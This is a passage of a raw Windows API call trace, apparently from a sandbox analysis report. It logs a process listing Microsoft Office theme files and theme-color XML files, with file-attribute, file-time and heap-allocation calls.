ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="")) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="")) returned 1 [0068.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0068.560] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0068.560] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1020c10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1020c10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0068.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1020c10) returned 1 [0068.560] NtClose (Handle=0x198) returned 0x0 [0068.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102b950) returned 1 [0068.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0068.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102b950 [0068.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102ba58 [0068.560] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0068.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.664] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0068.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bb60 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10091c8 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bc68 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10091e8 [0068.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bd70 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009208 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102be78 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009228 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bf80 [0068.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009248 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c088 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009268 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c190 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) 